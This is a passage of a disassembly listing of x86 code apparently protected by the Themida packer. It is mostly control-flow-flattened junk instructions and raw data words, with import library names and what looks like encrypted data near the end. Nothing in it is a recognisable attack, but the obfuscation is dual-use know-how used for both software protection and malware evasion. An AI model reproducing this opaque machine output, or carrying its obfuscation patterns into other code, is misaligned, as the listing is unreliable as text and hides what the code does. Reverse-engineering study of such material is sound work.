41E955h, 66BF0000h, 0BA4ABD47h, 0C4F41250h, 815FFA01h dd 1D718AEEh, 81D60131h, 1D718AC6h, 3CE95A31h, 0C100000Bh dd 0D1F703E1h, 0C8E181h, 0C5E938BEh, 83FFFF2Bh, 0D3E904ECh db 0E9h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_567537: ; CODE XREF: Themida_:00564405j or bl, dl pop edx jmp loc_567C15 ; --------------------------------------------------------------------------- db 89h dd 4C581E5h, 52000000h, 4BAh, 8BD50100h, 0C4832414h, 242C8704h dd 4C0835Ch, 5C240487h, 3FDB68h, 24048900h, 42474FFh, 7F39E958h dd 0D689FFFFh, 273AE95Ah, 8B54FFFFh, 0C483242Ch, 4C58104h dd 81000000h, 4C5h, 242C3300h, 33242C31h, 248B242Ch, 28F72C24h dd 52F704D8h, 0CEFE2EB6h, 0FF06C0E9h db 0FFh ; --------------------------------------------------------------------------- loc_5675A9: ; CODE XREF: Themida_:00561A6Fj sub edx, edi jmp loc_558FE0 ; --------------------------------------------------------------------------- loc_5675B0: ; CODE XREF: Themida_:00566F78j push ebx jmp loc_567B11 ; --------------------------------------------------------------------------- dw 0C483h dd 0E7C15B04h, 97F78108h, 0E943D141h, 0FFFEC447h ; --------------------------------------------------------------------------- loc_5675C8: ; CODE XREF: Themida_:00563001j dec ebp push ebx mov ebx, 601B7D6Dh shl ebx, 6 inc ebx sub ebx, 26F41BDh xor ebx, 6A731795h sub ebx, 33259893h jmp loc_559CA0 ; --------------------------------------------------------------------------- loc_5675EA: ; CODE XREF: Themida_:00564EFAj sub esp, 4 jmp loc_558823 ; --------------------------------------------------------------------------- db 5Eh, 0E9h, 0A1h dd 5DFFFFEEh, 0FF04C483h, 0DFE92434h, 81FFFF62h, 4C5h dd 242C3300h, 33242C31h, 248B242Ch, 2434FF24h, 81240C8Bh dd 4C4h, 7DE66800h, 2C890000h, 10E1E924h, 0E95AFFFFh, 0FFFF456Fh dd 9F240481h, 814D5314h, 100B242Ch, 4292DDBh, 16E0E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56764E: ; CODE XREF: Themida_:00563A43j mov [esp], eax mov eax, 1A1228C6h xor eax, 1A1228C2h sub ebx, 430648A3h add ebx, eax push esi mov esi, 32035C4Fh shl esi, 2 xor esi, 8B0B399Fh push edi mov edi, 7C2B5E0Ah jmp loc_5619C7 ; --------------------------------------------------------------------------- db 5Bh, 5Dh, 1 dd 0CB295FF9h, 52240C8Bh, 0C281E289h, 4, 5204C283h, 0FEDD59E9h dd 0B85059FFh, 175A68C1h, 0E0D1E8D1h, 0CD4AF405h, 0D02D3511h dd 0C2012F24h, 0C7C68158h, 1211A0Bh, 0C7EE81D6h, 8B211A0Bh dd 0C4812414h, 4, 54BE5657h, 896E364Ch, 0CF815EF7h, 31704367h dd 1B68C781h, 81475E0Dh, 7C9524C7h, 5FFE2922h, 2474FF56h dd 48F5E04h, 4895C24h, 26E95124h db 96h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5676FB: ; CODE XREF: Themida_:00556967j push edi push ecx push 5796h mov [esp], edx mov edx, 50EA3C1Bh not edx neg edx or edx, 3D683D4Ch shl edx, 5 not edx xor edx, 21940DBDh mov ecx, edx pop edx shl ecx, 1 or ecx, 18341C13h sub ecx, 0DE7CBF93h mov edi, ecx mov ecx, [esp] add esp, 4 add eax, 0C55318Ch add eax, edi sub eax, 0C55318Ch mov edi, [esp] add esp, 4 push eax push dword ptr [esp+4] pop eax pop dword ptr [esp] jmp loc_562053 ; --------------------------------------------------------------------------- loc_56775E: ; CODE XREF: Themida_:00560E30j add esi, ecx mov ecx, [esp] add esp, 4 add esi, 4 push esi jmp loc_55C567 ; --------------------------------------------------------------------------- db 0C1h dd 0D3F705EBh, 762FC381h, 0F3817FAEh, 31B41D58h, 5B04CB81h dd 0F38115CCh, 5553C359h, 0FFAB01E9h, 0B8E953FFh, 5AFFFF52h dd 0FF19CCE9h, 241C87FFh, 8924248Bh, 0CD68243Ch, 8900006Ah dd 47E92424h db 0DEh, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_5677B3: ; CODE XREF: Themida_:00567CF6j mov esp, [esp] push dword ptr [esp] jmp loc_55506D ; --------------------------------------------------------------------------- dw 14F7h dd 242C8B24h, 4C481h, 0ED810000h, 73E320CAh, 0FF15ABE9h db 0FFh ; --------------------------------------------------------------------------- loc_5677D5: ; CODE XREF: Themida_:00553CB4j mov eax, esi mov esi, [esp] jmp loc_55D68C ; --------------------------------------------------------------------------- db 64h dd 51E9028Fh db 0B4h, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_5677E7: ; CODE XREF: Themida_:005617BCj mov edx, ebx mov esi, edx mov edx, [esp] add esp, 4 mov ebx, [esp] add esp, 4 sub esi, 59F154B3h mov ebx, esi pop esi add ebx, 6DD7454Dh add ebx, edi push esi jmp loc_555927 ; --------------------------------------------------------------------------- loc_56780E: ; CODE XREF: Themida_:0056161Ej add ecx, 4 add ecx, 4 xchg ecx, [esp] mov esp, [esp] push dword ptr [esp] pop eax push 777Fh jmp loc_554804 ; --------------------------------------------------------------------------- loc_56782E: ; CODE XREF: Themida_:0055B24Dj add ecx, 1EA52BF1h push ebp mov ebp, 23C32BDBh push edx mov edx, 194D6C75h jmp loc_555CFB ; --------------------------------------------------------------------------- loc_567845: ; CODE XREF: Themida_:00562988j push edx mov edx, 4 add ebp, edx pop edx add ebp, 4 push ebp jmp loc_557535 ; --------------------------------------------------------------------------- dw 0EA81h dd 0A3D42F23h, 815AD389h, 8A623DF3h, 0D1DFE950h, 0C668FFFFh dd 0E97FF556h, 0FFFFB4F5h, 4EC835Dh, 0E9240C89h, 0FFFF5D53h dd 2434895Ch, 8904EC83h, 0CB68241Ch, 5B2C1224h, 0C14BD3F7h dd 0C38107EBh, 7609660h, 835B5E53h, 3C8904ECh, 5AB0BF24h dd 0F8297589h, 5F0015Fh, 75895AB0h, 0E924348Bh, 0FFFFF1DDh ; --------------------------------------------------------------------------- loc_5678C0: ; CODE XREF: Themida_:0055515Cj pop ebx push 7397h mov [esp], edx push ebp push ecx mov ecx, 41E21676h mov ebp, ecx pop ecx neg ebp sub ebp, 44622E72h jmp loc_55E72E ; --------------------------------------------------------------------------- dd 0D2E9C6FEh, 0BAFFFEE6h, 4, 59F7BD55h, 9DE9027Bh db 0Dh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5678F7: ; CODE XREF: Themida_:005672D0j xchg eax, [esp] pop esp push ebp push 6E80h push esp pop dword ptr [esp] add dword ptr [esp], 4 jmp loc_5571EA ; --------------------------------------------------------------------------- dw 0C681h dd 4, 5C243487h, 2474FF53h, 48F5B04h, 24248B24h, 8904EC83h dd 0E789243Ch, 0FF4DBBE9h, 0E95A66FFh, 0FFFEB300h, 0AC26D0BEh dd 677BE961h, 248BFFFFh, 0E9F76624h, 0E904EC83h, 0FFFF948Eh dd 0E3E95652h, 81FFFF6Eh, 4C3h, 241C8700h, 68C3015Ch, 6110h dd 0FF4CEBE9h, 64C9BBFFh, 0EB814C7Ch, 17FBEE71h, 1C8BD801h dd 4C48124h, 5E000000h, 220068h, 243C8900h, 0FF272AE9h db 0FFh ; --------------------------------------------------------------------------- loc_567991: ; CODE XREF: Themida_:005568B0j pop esi sub ebp, 5D202E78h mov eax, [esp] push 7226h jmp loc_557434 ; --------------------------------------------------------------------------- db 0BEh, 0E8h, 63h dd 0E6813CD4h, 7081224Ch, 0DEF7D6F7h, 48D8E681h, 0F68163E1h dd 6B1A281Bh, 0E95EF001h, 0FFFF388Ah ; --------------------------------------------------------------------------- loc_5679C8: ; CODE XREF: Themida_:0056031Cj add esp, 4 pop edi sub [edi+24h], eax push dword ptr [esp] push dword ptr [esp] pop eax push ecx jmp loc_557041 ; --------------------------------------------------------------------------- db 0C1h dd 0B85005EDh, 66867D19h, 5158C501h, 0FEB6ABE9h db 0FFh ; --------------------------------------------------------------------------- loc_5679F1: ; CODE XREF: Themida_:00565773j xor ecx, [esp] mov esp, [esp] mov [esp], ax jmp loc_552C38 ; --------------------------------------------------------------------------- dd 3304EA83h, 14312414h, 24143324h, 243C895Ch, 468h, 243C8B00h dd 8104C483h, 8A6766EDh, 81FD014Ch, 8A6766C5h, 4F4BE94Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_567A2E: ; CODE XREF: Themida_:0056818Fj add ebx, 1A9E295Bh xor ebx, 71547097h sub ebx, 0DB10D95Eh or edx, ebx pop ebx push esi mov esi, 0D507AC7Fh sub edx, 1E3D4BBBh add edx, esi add edx, 1E3D4BBBh pop esi push esi sub esp, 4 jmp loc_553E43 ; --------------------------------------------------------------------------- db 53h, 0B7h, 94h dd 1C8BF908h, 8C58E924h, 7068FFFFh, 0E900004Fh, 0FFFEDD1Bh ; --------------------------------------------------------------------------- loc_567A78: ; CODE XREF: Themida_:0055BBFDj xor eax, ebx pop ebx xor ebp, eax pop eax add ecx, 6CBF322Eh add ecx, ebp sub ecx, 6CBF322Eh mov ebp, [esp] add esp, 4 jmp loc_5542A7 ; --------------------------------------------------------------------------- loc_567A9A: ; CODE XREF: Themida_:005602A8j sub ecx, 0B7D6720h add ecx, edx add ecx, 0B7D6720h push eax mov eax, 0 add eax, ecx mov [eax], esi pop eax pop ecx pop edx push dword ptr [esp] mov esi, [esp] add esp, 4 add esp, 4 xchg esi, [edi+20h] push esi not dword ptr [esp] pop esi jmp loc_55BD78 ; --------------------------------------------------------------------------- loc_567AD4: ; CODE XREF: Themida_:00566447j xor edi, [esp] mov esp, [esp] jmp loc_552C38 ; --------------------------------------------------------------------------- db 50h dd 9650B8B8h, 68480Fh, 57000000h, 0A4060ABFh, 247C2963h dd 4295F04h, 24048124h, 63A4060Ah, 0AF4B3558h, 0EF81F069h dd 0D6B178Dh, 0FF1FF7E9h db 0FFh ; --------------------------------------------------------------------------- loc_567B11: ; CODE XREF: Themida_:005675B1j mov ebx, 0DD1192Eh jmp loc_555EF5 ; --------------------------------------------------------------------------- db 68h dd 5A9272E6h, 4BD3F75Bh, 0D503C381h, 0C5E980F2h, 83FFFEC5h dd 3C8904ECh, 2474FF24h, 48F5F04h, 24895C24h, 6845E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_567B46: ; CODE XREF: Themida_:005557C5j mov edx, [esp] add esp, 4 jmp loc_567C90 ; --------------------------------------------------------------------------- db 59h, 53h, 0BBh dd 0D0FEE11Bh, 1C8BDF01h, 4C48124h, 29000000h, 0E3BEE9FEh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_567B6A: ; CODE XREF: Themida_:0055ECA1j not eax sub eax, 0BFCFB779h add edx, eax jmp loc_556115 ; --------------------------------------------------------------------------- loc_567B78: ; CODE XREF: Themida_:005614EAj push eax sub esp, 4 mov [esp], edx mov dl, 0E8h jmp loc_55846D ; --------------------------------------------------------------------------- db 66h, 8Bh, 14h dd 0E2895224h, 4C281h, 0C2810000h, 2, 0AC2AE952h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_567BA2: ; CODE XREF: Themida_:0055C7EEj xor edx, [esp] xor [esp], edx xor edx, [esp] pop esp sub esp, 4 mov [esp], ebx push 3D550991h jmp loc_55997B ; --------------------------------------------------------------------------- loc_567BBC: ; CODE XREF: Themida_:0055AECBj mov bl, 0BAh mov dl, 0B2h add dl, bl mov ebx, [esp] add esp, 4 jmp loc_55DD1C ; --------------------------------------------------------------------------- db 89h, 1Ch, 24h dd 0C381E389h, 4, 4C381h, 1C870000h, 97E95C24h db 7Fh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_567BE7: ; CODE XREF: Themida_:0055A38Fj sub edx, 19AB33FCh jmp loc_5545C0 ; --------------------------------------------------------------------------- dw 0C701h dd 0FF6150E9h, 0EDF281FFh, 96002D3h, 0ADE95AD3h, 81FFFF99h dd 59A556F6h, 5EF001C5h, 0FF16D6E9h db 0FFh ; --------------------------------------------------------------------------- loc_567C15: ; CODE XREF: Themida_:0056753Aj push cx mov cl, 55h jmp loc_565F42 ; --------------------------------------------------------------------------- dw 0D9B9h dd 31A1FF8Dh, 0F22959CEh db 8Bh, 34h, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_552C38 ; --------------------------------------------------------------------------- loc_567C43: ; CODE XREF: Themida_:0055372Ej add esp, 4 jmp loc_560F36 ; --------------------------------------------------------------------------- db 1 dd 0D074E9C3h, 0C381FFFFh, 2ECE1535h, 0FEF241E9h db 0FFh ; --------------------------------------------------------------------------- loc_567C5D: ; CODE XREF: Themida_:00563A06j xor ecx, 577D7D1Eh mov edi, ecx pop ecx add dword ptr [esp+4], 3D0C007Ch sub [esp+4], edi sub dword ptr [esp+4], 3D0C007Ch push dword ptr [esp] pop edi add esp, 4 jmp loc_554653 ; --------------------------------------------------------------------------- db 5Ch, 55h, 0E9h dd 0FFFEBC4Ah ; --------------------------------------------------------------------------- loc_567C90: ; CODE XREF: Themida_:00567B4Cj push ebp mov ebp, 22B76EA6h and ecx, ebp mov ebp, [esp] jmp loc_562529 ; --------------------------------------------------------------------------- dd 0F70C181h, 0E9D17998h, 896FC181h, 0BF57DB60h, 3F2A262Fh dd 15FFB29h, 2FC381CBh, 0FF3F2A26h db 34h, 24h, 59h ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx mov ecx, 4 add ebp, 5B2626D6h add ebp, ecx sub ebp, 5B2626D6h pop ecx add ebp, 4 push ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] mov esp, [esp] xor ebx, [esp] xor [esp], ebx xor ebx, [esp] jmp loc_5677B3 ; --------------------------------------------------------------------------- loc_567CFB: ; CODE XREF: Themida_:0055A0B6j mov [esp], esi mov esi, 4 add ebx, esi pop esi push ecx jmp loc_555545 ; --------------------------------------------------------------------------- loc_567D0C: ; CODE XREF: Themida_:0055A1C7j mov [esp], eax mov eax, 4 jmp loc_5647CB ; --------------------------------------------------------------------------- loc_567D19: ; CODE XREF: Themida_:00558247j mov eax, 4 add edx, eax pop eax xchg edx, [esp] pop esp mov edx, [esp] add esp, 4 jmp loc_565BDB ; --------------------------------------------------------------------------- dd 0F651CDFEh, 0E9012454h, 0FFFFB716h, 0FEAEF7E9h, 4BEFFh dd 0C1810000h, 48BB6A2Bh, 45DE9h db 0 ; --------------------------------------------------------------------------- loc_567D51: ; CODE XREF: Themida_:00556048j xor ebp, 0F5EFD65Ch add eax, ebp pop ebp push edi mov edi, 4 add eax, edi pop edi xchg eax, [esp] mov esp, [esp] add ebp, 4 jmp loc_55AC84 ; --------------------------------------------------------------------------- dd 0FB6DE952h, 6851FFFFh, 6551h, 68243C89h, 424A0342h dd 0FF8022E9h db 0FFh ; --------------------------------------------------------------------------- loc_567D8D: ; CODE XREF: Themida_:0055B42Dj mov ebp, 4DA060E8h jmp loc_555112 ; --------------------------------------------------------------------------- db 0BFh dd 40CE374Fh, 3E7C781h, 0F83121CAh, 1D042D5Fh, 0B951564Ch dd 77A9527Fh, 0BCE3C181h, 0C80995D0h, 0C7983559h, 0C381843Dh dd 241F7B23h, 0EB81C329h, 241F7B23h, 8324048Bh, 0D82904C4h dd 4EC815Bh, 89000000h, 0FDE9241Ch, 0C1FFFF69h, 843505E0h dd 1520C7Ah, 0C3358C1h, 240C3124h, 0E9240C33h, 0FFFFB902h ; --------------------------------------------------------------------------- loc_567DFC: ; CODE XREF: Themida_:loc_56162Aj shr edx, 1 cmp eax, edx jz loc_566BF2 push esi push ebp mov ebp, 2233707Eh jmp loc_55300B ; --------------------------------------------------------------------------- dw 0C8Bh dd 4C48124h, 68000000h, 41D8h, 0FFCDD1E9h, 924092FFh, 0FF815FE9h dd 0DDBF57FFh, 2958B13Ch, 0F3E95FFDh, 1FFFF4Eh, 24048BC3h dd 4C481h, 1C870000h, 15E6E924h, 3433FFFFh, 922DE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_567E56: ; CODE XREF: Themida_:00558EBFj xchg esi, [esp] pop esp and [edi+1Ch], esi pop esi jmp loc_55B6A7 ; --------------------------------------------------------------------------- db 52h dd 0FEC57CE9h db 0FFh ; --------------------------------------------------------------------------- loc_567E69: ; CODE XREF: Themida_:00567EC8j push 0C3Dh mov [esp], eax mov eax, esp push ebp jmp loc_55383E ; --------------------------------------------------------------------------- db 50h, 0E9h, 6Bh dd 5EFFFF0Bh, 761EE981h, 0B1E97C6Ah, 31FFFF80h, 4DE95DEAh dd 66FFFF5Ah, 81240C8Bh, 2C4h, 0AEC38000h, 0FFD494E9h dd 61F180FFh, 0E9EEE980h, 0FFFEF1EBh, 0FA333E2Dh, 5D00139h dd 39FA333Eh, 92C1E957h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_567EC2: ; CODE XREF: Themida_:00566796j mov edx, esi push dword ptr [esp] pop esi jmp loc_567E69 ; --------------------------------------------------------------------------- db 29h, 0D1h, 5Ah dd 0FF8845E9h, 0AD5EE9FFh, 1487FFFEh, 24248B24h, 0DFE930FFh dd 5CFFFF9Ch, 66C82858h, 83240C8Bh, 0E95102C4h, 0FFFF1B9Dh dd 4240481h, 8B000000h, 4CE9242Ch, 66FFFEB5h, 29E99C50h dd 57FFFEADh, 0FF9EF8E9h db 0FFh ; --------------------------------------------------------------------------- loc_567F15: ; CODE XREF: Themida_:00554043j pop eax mov ecx, [esp] add esp, 4 jmp loc_5547F2 ; --------------------------------------------------------------------------- dd 0FEC78147h, 815DFE6Dh, 8C67F3EBh, 56FB0152h, 3A3AE8BEh dd 0E9D6F714h, 0FFFF4315h ; --------------------------------------------------------------------------- loc_567F40: ; CODE XREF: Themida_:0055F146j sub eax, ebx mov ebx, [esp] add esp, 4 push edx push 10h push dword ptr [esp] mov edx, [esp] add esp, 4 push ebx push esp pop ebx jmp loc_55A2CE ; --------------------------------------------------------------------------- dw 315Fh dd 0CF4DE9FEh, 34FFFFFEh, 0C4835B24h, 5EF30104h, 3D68E3D1h dd 0E900007Ch, 0FFFFEDFAh, 0B278E405h, 58C301B9h, 15B5F53h dd 243C8BF8h, 4C481h, 2050000h, 33000000h, 0EDE92404h db 0E3h, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_567FA3: ; CODE XREF: Themida_:0056107Ej pop esp push 833h jmp loc_560352 ; --------------------------------------------------------------------------- dw 405h dd 33000000h, 4312404h, 24043324h, 4C4815Ch, 68000000h dd 6882h, 83241C89h, 248904ECh, 24048324h, 2434FF04h, 4EC815Bh dd 89000000h, 8B542434h, 71E92434h, 53FFFF2Dh, 2A0E954h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_567FF2: ; CODE XREF: Themida_:0055F74Dj push 7EAh mov [esp], esi jmp loc_55BB95 ; --------------------------------------------------------------------------- db 2Dh dd 702D04A6h, 0A605D829h, 2D702D04h, 4DE73099h, 0DF14E952h dd 8B66FFFEh, 64E92404h db 5Ch, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56801F: ; CODE XREF: Themida_:005612A1j mov edi, 4 jmp loc_566A86 ; --------------------------------------------------------------------------- db 0FFh, 74h, 24h dd 24348B04h, 4C481h, 48F0000h, 24248B24h, 0FF9D84E9h dd 74FF51FFh, 8F590424h, 0E95C2404h, 0FFFEABE8h, 7305F281h dd 9AE994D4h, 29FFFF33h, 0CD6CE9F0h, 15DFFFFh, 0D44CE9CAh dd 0CB87FFFFh, 55BDEB81h, 0DA895E0Ah, 4EC835Bh, 89243489h dd 0DC90E9D6h, 815BFFFEh, 0CFF6BFC7h, 63E98109h, 293E074Dh dd 97BA52F9h, 0F7101C45h, 1AC281DAh, 515AAB23h, 879020B9h dd 93EA810Ch, 0E96EAD75h, 0FFFF379Eh, 240C8B66h, 4EC81h dd 2C890000h, 14B06824h, 24890000h, 24048124h, 4, 16D5685Dh dd 14E90000h, 66FFFF71h, 68C8B60Fh, 7D0Ah, 81241489h, 4ECh dd 24248900h, 4240483h, 4EC815Ah, 89000000h, 0B850240Ch dd 6E715828h, 0E8C1D8F7h, 3E0C102h, 1D4FAC2Dh, 58C18923h dd 0FF02DDE9h db 0FFh ; --------------------------------------------------------------------------- loc_568115: ; CODE XREF: Themida_:0055C335j pop eax add esp, 4 jmp loc_556103 ; --------------------------------------------------------------------------- loc_56811E: ; CODE XREF: Themida_:0055B98Cj dec edx add edx, 8AEDAB83h mov esi, edx pop edx push esi xor [esp], ebp jmp loc_55510A ; --------------------------------------------------------------------------- db 81h, 0C1h, 4 dd 83000000h, 0C8704C1h, 0EC815C24h, 4, 0E9240489h, 0FFFF329Eh dd 0FEAAE7E9h, 5FC781FFh, 0E945E75Fh, 0FFFEB6CBh ; --------------------------------------------------------------------------- loc_56815C: ; CODE XREF: Themida_:005581E6j push edx mov edx, 34CD0E54h push edx push esp pop edx add edx, 4 jmp loc_56141D ; --------------------------------------------------------------------------- dd 0E924248Bh, 0FFFEB495h, 335EF101h, 5BE9240Ch db 15h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_568183: ; CODE XREF: Themida_:00560773j pop edx jmp loc_559958 ; --------------------------------------------------------------------------- loc_568189: ; CODE XREF: Themida_:00564CEBj push ebx mov ebx, 5A3F331Ch jmp loc_567A2E ; --------------------------------------------------------------------------- loc_568194: ; CODE XREF: Themida_:0055953Dj mov [esp], esi jmp loc_55B977 ; --------------------------------------------------------------------------- dd 0F607EDC0h, 6CED80DDh, 2859EE00h, 0D273E9F4h, 0F101FFFFh dd 6A2BE981h, 535E48BBh, 589AE951h, 36EBFFFFh, 52455355h dd 642E3233h, 41006C6Ch, 50415644h, 2E323349h, 6C6C64h dd 4C44544Eh, 6C642E4Ch, 7D7006Ch, 40008h, 2001Eh, 30008h dd 0CEA4007Ch, 70E91DC1h, 68000009h, 5EBA140h, 0FDDFBEE9h dd 0A1BB68FFh, 0B4E905EBh, 68FFFDDFh, 5EBA2BBh, 0FDDFAAE9h dd 0A43768FFh, 0A0E905EBh, 68FFFDDFh, 5EBA4AAh, 0FDDF96E9h dd 0A5DB68FFh, 8CE905EBh, 68FFFDDFh, 5EBA63Dh, 0FDDF82E9h dd 0E70E4EFFh, 79A8E4CAh, 0A39765Ch, 99CC07EDh, 2D58967Ch dd 0DCD60C10h, 7056739Eh, 5EB082Fh, 987E9BC6h, 410E2B5Eh dd 0BAECB260h, 99F21322h, 94684BBh, 0C49E41B1h, 632D5B86h dd 577899C6h, 0C91AE5A9h, 0D673E916h, 321CFB1Ch, 29D7F81Ch dd 13201465h, 7456F369h, 0ECC6CFFEh, 87517FB2h, 20CB30EAh dd 5CB445F6h, 1A9B49ECh, 24C002E4h, 2A36235Fh, 711F60B0h dd 0CF13A62Dh, 7DD93BB1h, 18E21043h, 0FC3913B6h, 0A698DE8Ch dd 0B026CF13h, 0FA56204Eh, 3AF28FBEh, 0F70CCB23h, 3D70ABFCh dd 0FB39478Ch, 0CF3193BAh, 6E777E2Ch, 85FBC5E8h, 9BCE08E2h dd 13C7C9F8h, 0CC462C26h, 68A2882Fh, 0B6000435h, 574F933Ch dd 7BD9Bh, 1B428200h, 0ADDC18FEh, 3E6DAA90h, 0CD003B21h dd 618CCAB0h, 18A24044h, 0AC92AFDAh, 4127446Bh, 0D4BAD702h dd 7D4A679Ah, 0BBA8EE9Ch, 0DD361322h, 5588C2FFh, 48B81027h dd 4E5584A5h, 1482BD8Ah, 0CEE5A957h, 73E916C9h, 47BA7411h dd 8B1C2F7Fh, 83B1DC1Bh, 0DAB457B9h, 6D53709Bh, 7E98B42Eh dd 0B4C7152Dh, 42202AADh, 56B81AB8h, 0F72A6428h, 845DB0C6h dd 6B271F69h, 742h, 83A0C707h, 1532619Dh, 0A6C3F22Fh, 355285C0h dd 0C9E6114Fh, 57951DC5h, 0E8290F2Ch, 7FBEA4C1h, 17513754h dd 19FAC7E4h, 22BB2B6Bh, 7C5AB313h, 3960A17Bh, 497CB69Ch dd 0EA1D571Bh, 680D2CBCh, 0CFD39D43h, 609340h, 0C2590000h dd 0A385588h, 3960A17Bh, 0ABE5410Bh, 2121DB78h, 6116C91Ah dd 9ED7F427h, 1233D646h, 917882E3h, 69A763E3h, 0E446103Eh dd 0F5998D47h, 0EEA51C32h, 20D57E40h, 0A80A8013h, 0C1EC2B05h dd 9A06441Eh, 20D5AAECh, 5CBE3413h, 0F33218BFh, 16392CEh dd 6A017D3h, 7E580000h, 1AE41241h, 5A7B4F7Dh, 0C91AEAACh dd 0E17EF416h, 608EC1FBh, 0DE81F149h, 321A1B30h, 0C8E55B1Ch dd 5875A8E2h, 7B08C71Fh, 5B31D2C8h, 1B4AED4Fh, 83B9554Ah dd 0C7F49195h, 0C648EB19h, 16B92F19h, 0B5D2FD3Ch, 2E6B90CFh dd 0A507D1FFh, 4679B377h, 6DDAA515h, 0C480786Fh, 642h dd 83A0C707h, 1532619Dh, 0A6C3F22Fh, 355285C0h, 0C9E6114Fh dd 57951DC5h, 0E8290F2Ch, 7FBEA4C1h, 17513754h, 19FAC7E4h dd 22B82B6Bh, 7C5AB313h, 3863A17Bh, 77BB59Bh, 0C91A1559h dd 0C1239916h, 6295CF93h, 0F085A434h, 0C91934E0h, 0C1853316h dd 0CD16C91Bh, 0F1A0F557h, 0F140CFD6h, 0FFFFFEF0h, 0ADE889B8h dd 0F2204F8Ch, 0B727728h, 0C24D7B18h, 91B25588h, 0C91AA3E3h dd 18B52B16h, 3E7B5560h, 0E139720Fh, 0F20CE71h, 0C41C31F9h dd 517FAEEAh, 9808EA87h, 3AFE2C5Bh, 0D7A1CFFEh, 0BDF61375h dd 0A452F565h, 19DB381Bh, 704AED63h, 0AD40235h, 241DB56Dh dd 5E16C93Ah, 4C8F61Dh, 3762A1C6h, 0AFDD3F09h, 0F2929B96h dd 6E141474h, 0D742A4Bh, 0FEA2096Ch, 0F240CF8Dh, 1D1h dd 0AC5A7BB8h, 16C91AEAh, 0BDE17EF4h, 9B5AB20Dh, 341D00AEh dd 913FE24Ch, 16C9F3CDh, 56F95BD1h, 32F547A8h, 0D917871Ch dd 871D4CAEh, 45F6C962h, 0F295055Dh, 11AED918h, 73A2C3E4h dd 0AF202E2Dh, 793D6D5Fh, 85CAFA83h, 37B8720Fh, 0ECC0026Fh dd 2E7B9FBDh, 479B9532h, 0BA51C605h, 16F895F7h, 35B72A0h dd 3342F093h, 0ECC5E867h, 0B967D312h, 0CAFA55F5h, 0F32183F9h dd 3AAA8C29h, 6994D2FFh, 0E10F713Bh, 53B5DC1Dh, 2C8EB9F7h dd 4275AF89h, 0D2053F25h, 3D073FA1h, 5A160E93h, 4C6h, 7244B8Bh dd 99B6E521h, 2A4776B3h, 0B9D60944h, 4D6A95D3h, 0E3219949h dd 74B59BB8h, 0B4A304Dh, 0A3DDC3E0h, 0A5865370h, 22BEB7F7h dd 0DE3713h, 4A7176Fh, 20BDF02Ah, 7A0A45F3h, 6B451C2Fh dd 9D3012Ch, 71148A6Ch, 53002F50h, 9CCCFA54h, 43DA9CCCh dd 6EE41322h, 81ACEBD1h, 143F7E64h, 0BBE822E6h, 0BBEC4E81h dd 6984FD3Fh, 535A160Eh, 18000004h, 0AE94B1D8h, 40264372h dd 0D1B7D403h, 60466396h, 0D6DAF722h, 3D68A60Ch, 0D2F93A20h dd 6590CFB5h, 0F5286248h, 7C2A0BD8h, 1322BE3Ah, 7B8D6BC4h dd 9B3863A1h, 59077BB5h, 16C91A15h, 93C12399h, 346295CFh dd 53B53370h, 39D8EA91h, 642856B8h, 0BBC9F72Ah, 4872DD98h dd 0B4EDF950h, 22149ABh, 6DB35D73h, 98ED16C9h, 40CFA2C9h dd 0FFFCEFE9h, 5A7BAFFFh, 1ACB8B39h, 5DD316C9h, 0C91A692Dh dd 0C4057516h, 43A56F9Dh, 5386C0A6h, 6B9AD6B0h, 1ED6733Dh dd 9C3FAF07h, 3762A17Bh, 4F0F3F09h, 4F16C91Ah, 1AA4EA98h dd 0B42A16C9h, 6788B552h, 86234E8Dh, 3207D7CCh, 9CB92F1Ch dd 241846Eh, 0E9973AAAh, 1C321C04h, 0FA5D44Ah, 0AB354955h dd 0C851E312h, 0BEBDD4E4h, 52EF5184h, 0AE51C119h, 0CF817F00h dd 5B89FFB1h, 0D97CEC44h, 0E394C3FFh, 52219012h, 6693304Eh dd 30762445h, 0BEBEDEBDh, 83E5104Eh, 22BFE627h, 25B66968h dd 4381F1B4h, 7D20EA18h, 37848FCFh, 37990FBBh, 4D80BA94h dd 0DD104A30h, 71B85EACh, 39F5EDC1h, 322h, 6380A7E7h, 0F512417Dh dd 86A3D20Fh, 153265A0h, 0A9C6F12Fh, 37753DA5h, 0C809EF0Ch dd 5F9E84A1h, 0F7311734h, 0F9DAA7C4h, 22BF0B4Bh, 5C3A9313h dd 6CAD176Fh, 0F14D1745h, 8B5583B6h, 87D88629h, 71C2F7Ah dd 0D514EE91h, 68A78DAAh, 2A040F3Dh, 3F25C2E9h, 59A1D205h dd 0EC6984B6h, 2C038F4h, 45850000h, 0DF1B011Eh, 70AD93B0h dd 33E2441h, 8FCDB3D0h, 9F434764h, 8DAAD513h, 223F66A7h dd 0B5D2FD3Ch, 456295CFh, 0A5E99778h, 291322BCh, 176FF2D0h dd 3DD504A7h, 0EE600CCBh, 294A7714h, 47E4134Fh, 2F53D88Dh dd 0CD70E61Ch, 9745B9F3h, 132293D7h, 5CFF61D7h, 8A74232Dh dd 80231075h, 22B28CD2h, 0FF9C1213h, 56C81F58h, 0B24F05B3h dd 0D9081322h, 663DE2CEh, 0CD003ABCh, 76ECCE6Bh, 1B468448h dd 8B3E2EDh, 6A29BB7Fh, 93ED329Ch, 87E9742Bh, 93C1EC2Bh dd 0E7F62CC9h, 7FB2ECC6h, 17578751h, 971322DEh, 